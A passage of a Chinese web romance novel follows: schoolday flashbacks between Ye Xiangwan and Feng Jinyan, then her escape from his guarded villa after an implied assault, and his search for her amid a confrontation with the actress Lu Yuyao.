“你刚刚不是认为我不愿跟你接触么?现在总信我不是那个意思了吧?” 叶向晚没说话,只看着搭在自己肩膀处的胳膊。 “看什么?”封瑾言眯起眼,指尖轻勾了一下她下巴:“是不是反倒你不习惯?” 叶向晚被迫仰起下巴,她望着满脸笑意的少年,文不对题道:“还是有的。” “什么?” “比如下节是数学课。” 他们班除了教英语的蒋魔头之外,还有一个有招致人的就是数学老师大林。 她非常喜欢和大家互动,互动起来了就连夸带捧,互动不起来的就一排排竖桩子,当然如果像迟到这种事,那就妥妥得杵一节课。 “我都差点忘了大林……” 封瑾言瞬时反应过来,“刚罚完一节课还罚?生怕我家人不知道?这么丢人的事若被我爸知道了的话,我就能一人一碗浪迹天涯!” “……” 叶向晚闻言偏过头,嘴角轻扬了一下。 “嗯?” 封瑾言视线落在她白皙的脸上,眼眸轻眯:“你刚刚是笑了么?” “……没有。” “笑了还不承认,我都看到了!” “……没有。” “你就是笑了!” “没有。” 二人一边打打闹闹一边来到教室后门,两人并肩站着。 “报告!” “报告。” “哟,还知道回来呐?” 大林停下笔看了她们一眼:”封瑾言你这满面春风的,刚和叶向晚干什么去了?” “??” 叶向晚:“……” 全班顿时一阵低声喧哗,谁都知道他俩刚才被蒋魔头叫去谈话了,按理来说应该是劈头盖脸地训一顿,但怎么感觉这两人间的气氛似乎不是那么回事呢。 “行了,回去杵着吧……唉,我思路都被打断了,你俩上来一个,不,都上来吧,一个人写前两问,一个人写最后一问。” 大林抬了下下巴,拿着两根粉笔递过去。 封瑾言走在前面拿起了一根,顺手掰开,然后叶向晚从他身边经过的时候,从他半摊开的掌心里取走了那剩下的半根。 封瑾言睨了一下手中的半根粉笔,薄唇轻勾了一下。 大林看着这两个无论长相还是学习都很好的学生并肩站在一起,连讨论都没有,同时落笔写下了题号。 封瑾言:(1)。 叶向晚:(3)。 “这么默契,关系挺好啊。” “咔嚓”! 两根粉笔双双怼在黑板上断了,班级里顿时掀起一片窃笑。 这已经是他们今天第四遍听见“关系”这个词了。 叶向晚低头拿起黑板槽里一根长度适中的粉笔,就着喧闹偷偷往封瑾言那边瞄了一眼。 20:初次认识的美好(12) 封瑾言正扫视着黑板上写的题目,那个瞬间他薄薄的眼皮微抬,目光从微挑的眼尾浅扫过来,似乎只是不经意地一瞥。 窗外的浓云压得很低,衬得那双墨色的眼瞳有些深沉。 怔忪间,突然窗外炸亮,层叠的云瞬间被划开一道口子,转而又回归平静。 封瑾言顿了一下,随即抬眼看起了面前一长串的题,片刻后,他在滚滚的闷雷声中清了下嗓子,那之后又过了一会,才在黑板上写下第一个算式。 两人思维都很快,边写边算就列出了大半过程。 叶向晚写到一半停下笔,安静地看向封瑾言:“怎么了?” 封瑾言抿了抿薄唇:“没什么。” 叶向晚点点头,突然问:“我想要第一问题的结果。” “……嗯。” 封瑾言应了声,接着往下写,过了几秒钟又抬眼扫过上边自己写完的内容:“我第一问写完了,在这。” 叶向晚顺着他的指尖看过去,抿了抿唇没说话,转头把结果写在了算式里,接着用黑板旁边当草稿。 不知为什么,这个年纪的学生上黑板时都有个通病,写错了也不用粉笔擦,而是直接上手,有的用手指抹完留下几长串指痕,有的在自己手侧留下一片厚厚的白。 他们写完准备回座位罚站的时候,封瑾言鼻尖上就顶着从手上蹭下来的粉笔灰。 叶向晚走在过道的前面,她回过身冲封瑾言指了指自己的鼻尖。 “嗯?” 封瑾言不明就里,凑上前去看。 叶向晚推着他的肩往后仰头,然后从自己桌面的纸抽里拽出一张纸,按到了封瑾言脸上。 她抬眼看着大林在前面中气十足地分析着他们写的过程,低声说道:“粉笔灰。” 封瑾言把纸从脸上拿下来,反应明白后毫不在意的地“嗯”了一声,然后回到座位刚想坐下,讲课的大林抬手指了他:“封瑾言,站着。叶向晚你表现的很好,免罚。” “……” 封瑾言一脸不爽地看了不用罚站的叶向晚一眼,然后慵懒地靠上墙杵着。 但似乎连着两节课真的有些站累了,封大少爷在后面频频变换着姿势,一会一条腿跪在椅子上,一会另一条腿也上去了,可能是没一会觉得硌,又站下来双手撑着桌子让自己双脚离底悬空。 大林估计是嫌他太晃眼,讲题过程中狠狠瞪了他一眼,但也没让坐下,毕竟他这靠窗倒数第一排的位置,也没挡住其他学生。 封瑾言被老师瞪得安静了一小会,又站不住了小幅度的来回晃着,似乎在交替着脚站。 忽然身侧的桌子被轻轻往外边抬了一下,封瑾言诧异的抬头,就看见叶向晚把摆在桌子最前面的纸抽放到了窗台上,目光扫过他,然后食指指尖点了点那处空下来的桌面。 封瑾言看了一眼自己被挪开的椅子,又看了一眼也被移动的桌子,最后又看着视线早就又落回到卷子上叶向晚。 大林在讲台上开始了全班第一轮互动,随着时间一点一点过去,班级里竖了小半面的桩子。 封瑾言眼里溢出一丝笑意,在角落里偷偷坐上了叶向晚给他留的课桌。 终于到了下课时间,外边的雨也已经停了,天边挂出一道清透的虹,窗台边摞了好几层人扒着窗户往外看,男生普遍都集中在前面。 因为那里离彩虹更近一点,而女生都叽叽喳喳地集中在最后两排的这个窗台,也不知道看个彩虹怎么看得一个个小脸通红。 蒋欢就踩着这哄闹进了班级,她站在讲台上扫了一圈台下,扎堆的人群瞬间就作鸟兽散,一个赛一个出息地瞬移回座位。 “今天我们要开一场班会,但主持人不是我,是我临时选的班长和学委。这次班会就是让大家在这三年里,能相处成一个真正集体的敲门砖,来,有请两位班委组织班会。” 全班同学瞬间面面相觑,但稀稀拉拉的掌声在看到最后边两位同学起身时,都瞬间变得热烈,不但有敲桌子的,还有吹口哨的。 封瑾言依旧是一脸朝气地走上了讲台,叶向晚站在他旁边看着下边一言不发。 封瑾言睨了她一眼,只好先开口:“首先感谢大家的鼓掌,我这个临时班长虽然来得有些意外,但是就算当一天班长,也要尽到全部的责任和义务。 在学习委员叶向晚同学强烈要求下,本次班会的主题以及主要的内容事项,将由她来具体讲解,她可能有点不好意思,大家鼓掌欢迎支持。” 叶向晚:“……” 在一片鼓掌声中,叶向晚看着班级里一个个完全叫不上来名字,连面孔都半生不熟的同学,深深地叹了口气。 全班同学:“???” 封瑾言歉意地冲大家笑笑,满脸写着歉意:“抱歉,这孩子脑子不好使,没管好,让大家见笑了。” 然后脚在下边一抬一落,精准地踩在了叶向晚干净的鞋面上。 叶向晚转过脸冲他没好气的说道:“把脚拿开。” 封瑾言很低的声音:“脚长我身上。” “……” 掌声逐渐停下来,叶向晚低头看了看自己鞋上无动于衷的那只脚,抿了抿唇瓣,最终还是开口:“……我以后每天会挑几道个人认为比较有意义的题,写好过程然后发到群里。” 班里一片寂静。 “她说完了。” 封瑾言向大家解释了一句。 其实总有人有种误区,都以为有钱人家的孩子一个赛一个浪荡不上进,其实可能正好相反,他们接受着最好的教育和资源,全都心高气傲不服输,这种能提供实质性帮助的做法特别对胃口。 “那学委以后不会的题可以问你吗?” 有个性格看起来很开朗的男生,混在人群中喊了一嗓子,然后红着耳朵低下头。 “哟一一” 全班同学纷纷敲桌子起哄,似乎早已忘记了坐在叶向晚位置的蒋魔头。 “叶向晚,问你。” 封瑾言用胳膊肘悄悄怼了下旁边半天憋不出一个字的叶向晚。 21:太美好,却又残忍 叶向晚扫了封瑾言一眼,然后看向那个男生的方向道:“问他。” 然后竖起拇指往旁边一指:“他讲得好。” 封瑾言:“……” 封瑾言服了:这要你个学委有何用? 没用的学委坐在书桌前,感受着手机抽得都整个桌面都在跟着抖,终于扔了笔。 她拿起手机正准备调到静音,突然看见屏幕上的悬浮框:[26条] 皇上吉祥:[动画表情]。 手指在屏幕上犹豫了片刻,叶向晚最后还是点开了那个数量依旧在增多消息。 这人也不知道是哪根筋又不对,叶向晚往上大概翻了几下,目光所及之处全是各种表情包,一嘴咬掉头的,一刀穿一串的,四五个群殴一个的,全都不重样。 总之,封大少爷现在很不爽。 叶向晚:“……?” 皇上吉祥:[你就不能抬一下你那芊芊玉手,点点右边那个可以往上看第一条消息的标志?] 叶向晚:[……不能。] 皇上吉祥日:[你今天发到群里的题你自己看看,你干脆答案写个省略号得了,也不用多写那两三行了。] 叶向晚回想了一下,她的确把自己的思路都写上了,也不知道哪里有问题。 叶向晚:“……?” 皇上吉祥:[你知道你那掐头去尾,省略中间五千字的答案看着有多糟心?大家都不敢骚扰你,结果看不懂全都过来问我,我一晚上就给别人回消息,托你的福,我要被我家长训!” 叶向晚眉心蹙起,前不久他家长还要在他卧室里装摄像头,说要随时监控他的学习状况。 这种变态一般地看管让她从心底里感到折磨和警惕,封瑾言的生活状况她不了解,但当看到这条消息的时候,心脏瞬间有些提了起来。 叶向晚:[……你家长看着你写作业?] 皇上吉祥:[怎么可能,我是有别的事被耽误了。] 叶向晚反复读了两遍这条消息,不自觉地松了口气,她按了按太阳穴缓缓靠回椅背。 也是,但她这么奇葩的家长哪里随随便便就能碰上。 或许是因为那边半天等不到消息,手机又开始被迫营业,封瑾言接连疯狂地甩来一堆表情包,黑人问号的,生活不易的,骂骂咧咧的…… 叶向晚没有再回复,也没有关静音,任凭手机在桌上嘚瑟,就像发消息的那个人一样好动。 她从手边抽了张白纸,然后准备找到班群看一眼自己刚发过去的题目,结果突然找不到群聊了。 她又重新扫了一眼列表,才发现之前“高一(1)班”的名字已经变成了“中国骚年先疯队”。 她看盯着那群名,不用想也知道是谁改的。 没一会,她把过程一步一步写好,五道题整整写了三张纸,重新发到群里的时候,手机断断续续持续了这么久的振动戛然而止,片刻后突然又重新响了起来。 她不知道自己都写成这样了,那大少爷还有什么问题。 叶向晚皱起眉垂眼一看,结果发现是班级群跳到了最顶上。 来了老弟:[天!学委我爱你!谢主路恩!] 一枪要了你猪命天:[学委我爱你!谢主隆思!] 倔强黑铁天:[学委我爱你!谢主隆恩!] 朕选择驾崩天:[学委我爱你!谢主隆恩!] …… 他们班由于之前完全没人在群里说话,所以干脆也没人改自己的昵称。 叶向晚没想到这些平时一个个眼睛长头顶的人,起起网名来也能这么不正经,而且还愿意复制粘贴,这二十几条消息下来沙雕得相当有气势。 大概是全班都发了一遍,群里才终于安静下来,结果片刻后,突然有一条@全体成员的消息。 叶向晚以为是什么群公告,点开一看。 帅癌晚期:[@全体成全,悄咪咪地说,我正跟班长哭诉呢,学委的答案就来了,是你们哪个胆大包天的直接跟我们学委说了吗?别告诉我我们晚女神居然这么听班长的话……] 全幼儿园最可爱:[哪敢呀,应该是凑巧。] 吻我:[同上。] 宇智波-尼古拉斯:[同上。] 叶向晚一把扔了手机,但随即封瑾言私发一条信息。 皇上吉祥:[叶向晚,你就不能晚点发答案……] 叶向晚没有回,但封瑾言不断发,她看着信息嘴角竟情不自禁的微扬。 封大少爷虽然有时候挺:让人烦的,但其实还挺‘可爱’。 -- 叶向晚感觉眼皮很重,她费力地睁开眼睛,看的是熟悉的天花板,带着一片清浅的月光。 和刚才记忆里封瑾言不断发信息时,迷乱中从眼尾瞥扫到的一样。 忽然,身体像是才苏醒过来,一阵剧烈的疼痛耻辱地从身下传来,她瞪大了眼睛,刚还残留在脑子里美好的回忆,被昏迷之前那禽兽不如的暴行瞬间撕了个粉碎。 叶向晚几乎咬破了唇,她把手背盖到眼睛上,只觉浑身上下,从里到外没有一处不痛。 为什么会想起六年前的事……还以为早就不记得了,其实它们只不过是缓慢却从不停歇地顺着血脉刻进骨骼里。 太美好,却又残忍…… 那时的封瑾言浑身洋溢着不可一世的朝气与活力,如初升的阳光,温暖而美好,让她不由自主的沦陷其中。 可最后…… 如果那时她没有遇见封瑾言,没有答应去龙川该有多好。 一片寂静中,叶向晚忽然听到了一阵很轻的呼吸声,她身体一僵,非常缓慢地偏过头,在视线落到坐在沙发处休息的封瑾言时,浑身一颤。 一瞬间,恐惧,恶心,怨恨,愤怒……还有那无法忽视的很重很重的……留恋,在刹那间疯狂涌出胸腔,淹没头顶。 叶向晚手指攥紧了心口处的衣服,大口大口地喘着气,几乎无法呼吸,仿佛有东西在心脏里一刀一刀划得她千疮百孔,顷刻间血流如注。 她用力闭了下眼,似乎是想把所有看见的,想起的全都通通隔绝在外。 她得走了,这个城市实在是让她已经伤痕累累。 22:逃离 反正也没有家人没有朋友,她孤身一人到哪也都能活下去。 只要不在这里,她就还能活。 叶向晚拔掉手背上输液的针头,任血珠顺着手背滚落,她扫视了一圖发现手机在旁边的床头柜上,她费力地动了动身子,死咬着嘴唇才没闷哼出声。 看手机上的时间,她只昏睡了两天,可心里仿佛已经过了一个世纪那么久,那么难熬。 叶向晚轻轻掀开被子,想从这个几乎把她血液抽干的房子里走掉,结果人刚下床双腿一软,“咚”地就跪了下去。 封瑾言瞬间惊醒,他猛地睁开眼,眼神里带着抑制不住地慌乱四周搜寻,当看见叶向晚还在房间时,眼神里的慌乱瞬间敛去,转瞬又沉沉地暗了下去。 “你要干什么?” 封瑾言看着叶向晚整个人跪在地上,双手扶着床想把自己撑起来,他快步走过去绕到床那边,伸手去扶,“医生说你要好好休息,现在不能乱动,还有你的胃到底……” “啪!” 叶向晚一掌狠狠拍开他的手,扶着床沿站起来双目通红。 “你滚!” 封瑾言咬了下后槽牙,片刻后还是接着把话说完:“你胃的情况现在不太好,需要住院,医生说是长时间的压力和不规律作息饮食造成的,你这六年到底都……” “滚!” 叶向晚粉拳重重砸在封瑾言胸口处:“我让你滚!你听到没有!我这六年做了什么与你无关!我现在和你有什么关系?!” 封瑾言眯了眯眼。 叶向晚的拳头对于他说不痛不痒,但她这抗拒他的表情让他本就压着的火瞬间涌上头,看着叶向晚瞠目欲裂的情冷冷的勾起嘴角。 “什么关系?” 封瑾言一步一步压了过去,逼得叶向晚脚步虚浮地后退到房间的最边缘,勉强用墙撑着自己才没倒下。 “你说我们什么关系?嗯?你刚才的那一拳为什么没往我脸上打?是不是舍不得?是不是?说话!到底是不是?!” 叶向晚纤细的手腕被封瑾言一把拽起,男人的指尖捏得她腕骨生疼。 是啊,她就是没舍得,看着这张刻在她心尖处的脸无论如何也没下去手,都到这个地步了还是狠不下心。 真是贱啊! 人一旦把心给了别人,就会窝囊得连自己都觉得恶心。 “叶向晚,你其实对我还是有感情的吧?” 封瑾言看着她痛苦的眼神,觉得很解气,但又有些不知从何而来的悲哀让他完全开心不起来。 叶向晚深吸一口气,一根一根掰开腕骨上的手指,眼睛里满是腥红的血丝,声音抖得不成样子。 “你到底……还想把我怎样?” 封瑾言顿了片刻,偏开了头:“不想怎样,你就给我呆在这,哪都别去。” “封瑾言,你畜牲。” 叶向晚攥紧了拳头,眼睛死死盯着面前这个对她毫无歉意的男人。 封瑾言没回答,只是嗤了一声后就转身疾步走到卧室门口,但开门时突然顿住了脚步,他没回头,声音很沉:“我会找人看着你,好好养伤。” 说罢,走出房间关上门。 寂静一片的夜里,落锁声清晰可闻,那锁栓仿佛钉进了叶向晚的心脏。 她把头抵在冰凉的墙上,随着每一次呼吸都往外渗着血。 人世间最可怕的事情大概就是这样了吧! 推你入深渊的人,曾给过你天堂。 叶向晚没有做任何无谓的挣扎,这一周里她只很安静地呆在房间里养伤,每天都有几个保镖守在门口,她知道就算躲过了这些人的眼睛,但就凭现在的身体状况,也走不出这个别墅区。 封瑾言整整一周都没有再回来过,叶向晚在微博上看见他前几天去了南城。 并不是她想关注封瑾言的消息,只是网上现在铺天盖地都是他的新闻。 #封爷见义勇为伤情恢复#。#封爷陆雨瑶#。#封爷为了陆雨瑶特意去南城……# 她不想听不想看,叶向晚觉得仿佛只要上网就逃不开封瑾言的魔掌,她干脆彻底关了手机。 然后把手机扔在了远处的椅子上。 不过,也多亏了之前的昏睡,时至今日她才想起来,陆雨瑶原来就是封瑾言那个娃娃亲的对象,现在又是凭借着自身优异的资源签入了封瑾言家的公司,出道第一部电影就是定位远高于当前商业片的文艺片。 这种文艺片的大导演都很严格,更何况这次的拍摄地在南城,而封瑾言也去了,他竟然是为了他那个女友去的,那么一时半会可能不会回来。 那她这算什么,是想要她牢底坐穿吗? 叶向晚苦笑着摇了摇头。 入夜后,所有人都陷入了沉睡,连保镖们都因为她实在一直很消停,所以放松了警惕。 叶向晚从床上坐起来穿好衣服,她之前的那件已经不知道去哪了,身上这套是从封瑾言衣柜里拿出来的,带着熟悉的味道悄悄充斥鼻腔,叶向晚有了片刻的晃神。 半晌后她用剪子把床单剪了,然后几条拧在一起,连成了足够下到一楼的长度。 她推开窗子,冬夜刺骨的风刮了进来,她就站在那风口里仔仔细细看遍了房间里的每一处,这个夜里的风和六年前那天不一样,很冷,刺的人脸颊生疼。 当初她以为封瑾言是她的光,是她唯一的温柔,可没想到却是刺她的一把刀,将她刺的血肉模糊。 那时有多美好,如今就有多悲哀。 叶向晚呆呆地看着这间曾让她满目欢喜的房间,此刻却是满心疮痍。 没什么能带走的,更没什么能留下的,她弯腰把床单系在窗边,然后翻了下去。 这座别墅区是一片富人区,为了寻清净,相互之间都离得也远没什么交集,除了摄像头,没有谁注意到窗外落下了一个人,裹着严冬的寒风,在角落厚厚的积雪上深一脚浅一脚的走远了。 京城漫天的冬雪,把这座城市埋葬。 与此同时,在相隔数千公里外的封瑾言忽然没来由地从梦中惊醒。 23:逃跑 南城完全没有冬季,气温还很暖,可是封瑾言却莫名地出了一身的冷汗,就好像是有什么非常非常重要的东西突然丢了,再也找不回来了一样地惊惶。 封瑾言拿起手机点开了通讯录,他的眼神在落在第一个联系人上,那里标注着一个“.”,他的视线在那停留了很久。 一个月前他不想在手机里看见叶向晚这三个字,结果后来就鬼使神差地备注成了很久之前,微信里一直置顶的那个符号。 远处依稀能听见海浪的声音,带着一股白日里没有的空寂。 封瑾言蹙了一下眉,片刻后直接关掉了手机。 怎么又会想起她,她能丢到哪去? 她要的是钱,自己也有的是钱,不会丢的。 封瑾言想着,便再次闭上眼睛沉沉睡去。 翌日清早八点。 “封爷,我给您拿衣服来了。” “进。” 凌展易用房卡打开封瑾言给自己开了套间的门,拿着衣服穿过客厅走进了卧室,惊讶的发现封瑾言竟然刚起床。 怎么封爷现在才起来? 以往这个点都已经在公司开会了。 “封爷你这……” “等下,我打个电话。” 封瑾言穿着睡袍坐在床边没有抬头,眉间锁出了一条深纹,指尖在屏幕上非常迅速地点了几下后,就放到了耳边,表情明显是在努力压抑着一股火气。 房间里异常安静,凌展易把衣服放在封瑾言身边的时候,听见电话里传来了机械的女声:“您拨打的电话已关机”。 他瞥了一眼封瑾言更阴沉的脸色,有点不知所措。 他跟在封瑾言身边已经好几年了,虽然封爷平时有些不近人情,少言寡语的,但封爷极少会有这种表情。 平时的他都是冷峻不形于色的,对他身边的工作人员也是比较好的。 凌展易手腕上这块带出去就强势拉风的手表也是封瑾言两个月前送的。 但他这么久从来没见过封瑾言周围的气压如此低过,不过这种表情他倒是有点熟悉,貌似和一个月前在医院里那天很是相似。 医院? 不会是和那个医生有关系吧?! 身为特助,他必须知道封瑾言一切的具体情况,这样才能及时处理各种可能发生的事故,凌展易走过去小心翼翼的问道:“封爷,怎么了?出什么事了吗?” 封瑾言没回他,站起身又拨通了一个号码,在落地窗边的来回地踱步。 “你最好给我说出来点进展,不然给我滚回老家去!” 凌展易吓得浑身一震,这是他第一次听见封瑾言这么吼人。 封瑾言向来沉稳内敛,也没见过他对谁动过怒,刻薄过谁,唯一听见他刻薄过的人就是之前那个医生。 凌展易觉得事情有些不对劲,就没出门,继续站在原地听他讲电话。 “她大半夜撕床单你们贴着门听不见?!看监控的人睡死了么?!那么大个人从楼上下去看不见?还有门卫是怎么回事?!深更半夜有人出去就敢放?!她身体那样,京城冬天大晚上有多冷,她半路上若出事我要你们的命!” 凌展易听出来了,之前那个月封瑾言因为受伤就在家里办公,他拿文件去别墅的时候,有看到那个医生。 虽然具体事情也不太了解,但想来那医生应该是封爷被禁足在别墅里,看这样子是跑了。 “给我查监控,查出行记录,必须把人给我找到!” “警察不能查?!我养你们干什么的?!当初我说了看好她,现在自己给我想办法,最多一周时间,找不出来人在哪,我就亲自回去,到时候你们就全都给我滚!” 封瑾言挂掉电话,把手机“彭”地就扔了出去。 “那个封爷,您先别生这么大气,是出什么事了吗?” 封瑾言把窗户推开,双手撑在窗台上,外面的阳光柔和,却照不进他心底的阴霾。 他缓缓抬起眼皮,眸中闪过一丝不易察觉的哀伤,仿佛六年前叶向晚离去的背影,又一次在眼前浮现。 他深吸一口气,试图将所有的情绪都压抑在心底,让自己看起来依旧是那个冷静、沉稳的封瑾言。 “没什么,今天都有什么事?” 凌展易走过去把他的手机捡起来,看着已经碎了的屏幕叹了口气,“封爷,有事您可以跟我说说的,憋在心里会……” 封瑾言扫了他一眼,凌展易立马汇报工作上的事情:“今天您有两场视频会议,分别上午九点,下午一点……之后有个采访,是与陆雨瑶小姐一起……” 封瑾言听到陆雪瑶三个字皱了下眉,没再说什么转身去了浴室。 男人站在浴室的镜子前,水汽氤氲中,他的面容显得格外模糊。 他来南城并不是因为陆雨瑶,而是之前答应过她,加上他想看看叶向晚知道他来这的反应。 可没想到人会从别墅偷跑出去。 想着过去的种种,男人闭上眼,任由温热的水流冲刷过每一寸肌肤,仿佛这样就能将心底的烦躁与不安也一并洗净。 然而,那深藏不露的哀伤却如同顽固的污渍,怎么也冲刷不掉。 再次睁开眼时,眸光冷冽,如同冬日里最锋利的冰刃。 叶向晚,我不管你爱不爱我,这辈子你别想逃出我的手掌心。 封瑾言洗澡后,就开始工作,直到下午他才去了拍摄现场。 “瑾言哥,你来啦!” 封瑾言正低头拿着手机交代公司的事,听见声音之后抬眼点了下头,然后又面无表情地继续方才的事。 “瑾言哥,你今天怎么了,心情不好吗?” 陆雨瑶跑过来要拉住封瑾言的胳膊,封瑾言不动声色地避开,转身走向另一处:“别闲聊,导演来了。” 剧组导演叫马宏凯,是个五十多岁不怒自威型的大导演,手里的电影部部得奖。 他刚一进来,片场工作人员就立马跟开了二倍速一样动了起来,刚还和布景师聊得贼欢的场记一脸认真地埋头开始记录镜头数据。 封瑾言余光里瞥见周围人的变化,心想这导演倒是挺有威严。 24:告白 “封爷,您来了。” 有威严的导演看到封瑾言忙欠了下身。 封瑾言微点头致意了一下:“等会我跟陆雨瑶有个采访,你拍摄尽量快点结束。” “好的好的封爷,您在这坐等会,我尽快拍完。” 一旁的陆雨瑶看了一眼导演,又看向坐下来的封瑾言,第一个开拍的不是她,她便趁这个机会,拉开椅子坐到了封瑾言旁边,还明目张胆地往近处挪了挪。 陆雨瑶穿着短裙,抬腿时不知是有意还是无意地蹭了下封瑾言的膝盖,封瑾言皱眉,把刚架起来的腿放下,随后把椅子往外偏过去。 陆雨瑶还想借机靠近封瑾言,马宏凯出声喊她:“陆雨瑶,等会你跟封爷有个采访,你的戏份提前拍,快点准备一下。” 陆雨瑶一顿,看向并未看她的封瑾言,有些不甘心的起身去拍摄。 摄影师已经整理好设备,跟导演示意了下,就开拍摄小纪录片。 剧中男主是个在十八线城市里挣扎的小人物,前期几乎如蝼蚁般卑微凄惨,而女主陆雨瑶则是他后来出门闯荡时遇到的光,两人相互鼓励扶持,虽然中间差点分道扬镳,但因为难以割舍的感情最后还是走到了一起。 男主:“我求你了,你不要走好不好?到底是为什么为什么啊?!” 男主眼里满是悲伤和难以置信的怒火,握着的剧本都皱了起来。 女主陆雨瑶:“抱歉,你以后自己照顾好自己吧,我得走了。” “不,你别走。” 一旁的封瑾言看着拍摄的一幕,情绪莫名的被带动。 六年前,他也曾这样对叶向晚说过,那个时候叶向晚答应了他留下来。 他以为他们会一直在一起,却没想到她跟自己在一起只是为了钱。 忽然兜里的手机传来一阵震动,打断了封瑾言的思绪,他掏出手机,低头看向屏幕,是他的手下发来的。 “封爷,我们去了叶小姐现在住的地方,房子是租的,她这半年的房租已经交了,但是房东说叶小姐刚联系她说自己不住了,问能不能退一半的房租。小区的门卫大爷也说看见她提着个行李箱走了。没说去哪,我们还在查。” 看完短信的瞬间,封瑾言猛地站起身,椅子和地面发出刺耳的摩擦声,他在所有人惊异的目光中转身冲出了房间,所有人都还没反应过来。 “封爷!你去哪?!采访的记者马上过来了。” 凌展易刚和要过来采访的记者打完电话,结果挂了电话转头就看见封瑾言一脸阴翳地冲了出来。 封瑾言并未回答他,凌展易赶紧挡在前面:“封爷,是出什么事吗?是不是叶小姐她……” “让开?!” 封瑾言一边走,一边拿起手机打电话。 “封爷,你听我说,你来南城各大媒体都知道,而这里不比别的地,这常驻各种剧组,所以连狗仔也跟着常驻,您现在这样冲出门,明天头条可能就是您。您也知道媒体听风就是雨,到时候不知道怎么写。您可能不在乎,但对您还有公司多少还是有影响的。” 凌展易顿了顿,说了句最主要的:“封爷,即便您现在回去,也可能找不到叶小姐,我觉得叶小姐有意躲着您的话,可能没那么容易找到。” 凌展易说的是事实,叶向晚那边他飞回去也没什么用,该找不到还是找不到,还会耽误这边的工作。 他捏着手机顿了许久,然后抬手拨了个电话。 “给我查一下叶向晚爸妈的住址,女儿走了不可能不跟父母打招呼,尽快告诉我结果。” 封瑾言挂了电话眼里一片晦暗。 “瑾言哥。” 对戏刚一结束,陆雨瑶就憋不住了,她转过来把一条纤细的长腿伸到了封瑾言准备出去的路:“你今天怎么了?是心情不好吗?要不我陪你出去吃顿饭吧,我知道这附近有一家海鲜特别好吃……” “不用,”封瑾言打断她,转身从另一边过道往外走:“我来这里的原因你自己清楚,你也别想着为了给自己营造热度跟我炒绯闻,你知道我对你没有男女之情。” 陆雨瑶闻言顿时委屈起来,她也是大家族的千金,长这么大娇生惯养,从来没有人这般的毫不留情的驳她面子,她咬了下唇,“那……那我们好歹以前还定过娃娃亲呢,你怎么……” “娃娃亲?” 封瑾言顿住脚步嗤笑了一声,“这都什么年代,你还把娃娃亲当回事?” 陆雨瑶蹙着眉,站起来抱住他胳膊:“瑾言哥,年代的确是变了,但我们这个阶层的人,联姻难道不是很日常的一件事吗?而且我们两家这么合适,父母关系也好。” 陆雨瑶看了眼周围压低声音凑到封瑾言旁边:“你知道我很喜欢你的,就算联姻我也想联到我喜欢的人身上,所以我不想放弃你。” 封瑾言低头一笑,把胳膊抽了出来,目光自上而下直直地看过去:“才多大就这么急着要把自己嫁了?你的喜欢我很感谢,但我不需要联姻,也不喜欢,你好好演戏,公司绝不会亏待你,以后你最好跟我保持距离。” 陆雨瑶刚还笑着的表情瞬间垮了下去,她虽然不觉得自己告白有什么丢人的,毕竟她的学生时代一直在美国,理念上就很开放,但告白刚说出来就被人这么简单明了地拒绝,实在有些伤自尊。 她蹙着眉“哼”了一声:“保持距离?那上个月你总把我叫到你家去是怎么回事啊?还让我没事就去你房间呆着干嘛?” 封瑾言刚从她旁边迈出的步子顿住,他偏过头眼神冷了下去:“你不知道是怎么回事?你提的条件是我给你资源,包括来这里与采访。而我的条件是请你去我家坐会儿,在房间里我连头发都没碰过你,这交易还有什么问题?” 为什么各大媒体都知道他来这里,他知道就是陆雨瑶搞的鬼,他之所以没有追究,只不过是想看看叶向晚的反应。 25:采访 而这个女人还以为他什么都不知道,真当她自己聪明?! 陆雨瑶看见男人冷峻的眼神瞬间,一张漂亮的脸就浮出了怒意:“瑾言哥!” 她怒极反笑,踩着黑色的高跟鞋往前迈了一步,一手轻轻搭在封瑾言肩上,红唇微抿凑到了他的耳边,吐气如兰,微微拖着声调说道: “你和那叶医生的关系我是知道的,如果让伯母知道你把她关在别墅里……你说,伯母会怎样呢?” 封瑾言挑起俊眉,他真没想到陆雨瑶会这么就和他撕破脸。 两年前陆雨瑶从国外回来,他母亲带着他特意去机场接人,这才见到了从小就听说的那个女生。 落落大方但又热情粘人,总体来说是个还算招人喜欢的小姑娘,但奈何封瑾言实在没有那个心思,他知道自己还没从六年前走出来,索性就把她当成了半个有点娇嗔的妹妹。 结果今天他才发现自己认错人了,陆雨瑶的独占欲比他想的要强得太多,这得不到就要毁掉的架势让他觉得好笑。 她以为她的威胁有用? 封瑾言把她的胳膊拽了下来,低头轻笑了一声:“你大可以去告状,不过我提醒你一句,以后你的星路,包括你陆家,可能都不会太顺。” 陆雨瑶一愣,后知后觉的感觉到了后怕。 她刚刚的话有些冲动了,她竟然敢威胁封瑾言。 “瑾言哥,对不起,我实在是太喜欢你了,才说出那些话的,你不要往心里去好不好?” 小姑娘眼圈红红的,好像封瑾言欺负了她一样。 面对对方的我见犹怜,封瑾言不为所动:“你明知道我对叶向晚的感情,就别再缠着我说喜欢我,你看着我和叶向晚之间的事像是别人能掺和进来的?看在你妈跟我妈关系那么好的份上,最好不要闹得太难堪,对你跟陆家只有好处。” 封瑾言向来话不多,但却跟她说了这么多,只不过都是警告她的话。 陆雨瑶咬着唇没再敢说话,封瑾言轻睨了她一眼之后抬腿离开。 离开片场的封瑾言给凌展易打了个电话。 “找人看着点陆雨瑶,她虽然是我们公司的,但也就是来娱乐圈玩玩,别让她整出什么幺蛾子。” “好的萧爷。” 封瑾言走到窗前,背靠着玻璃曲起一条腿,他看着面前忙得焦头烂额的场务正在和灯光沟通,几个从他身边走过的工作人员都恭恭敬敬笑着跟他打招呼。 每个人都忙忙碌碌的,却只有他心空落落的。 他摩挲着凌展易白天新给他买回来的手机半响,还是拨通了一个电话。 “您好,您拨打的电话已关机,The……” 叶向晚没有开机,此刻她拖着行李箱从动车里走出来,一股温暖的气息扑面而来,她望着眼前这个陌生的城市有些迷茫。 她本来不想来南方的,距离上和封瑾言更近一步让她从心底里感觉压抑,可是现在这个季节去北方,她不想一个行李箱里只能塞几件羽绒服。 更何况也没租房子,邮寄都没地方寄,这些年存的钱基本都给了霍思卿,她现在实在没什么能挑来挑去的能力了。 但是重新开始生活她并不愁,毕竟这些年她也还清了那些钱。 从今往后,在这个小三线城市里,她终于可以停下行走的步子,开始过自己的生活了。 她拎着行李箱孤身一人走出站台,人怎么都能活下去不是吗。 这边采访时间差不多到了,封瑾言坐在休息室沙发处,指尖夹着香烟却并未抽。 他本身是不喜欢抽烟的,但自从叶向晚离开他后,他就染上了烟瘾。 不多时,凌展易跑进来:“萧爷,预约好采访的记者已经来了,陆小姐那边也已经准备好了。” 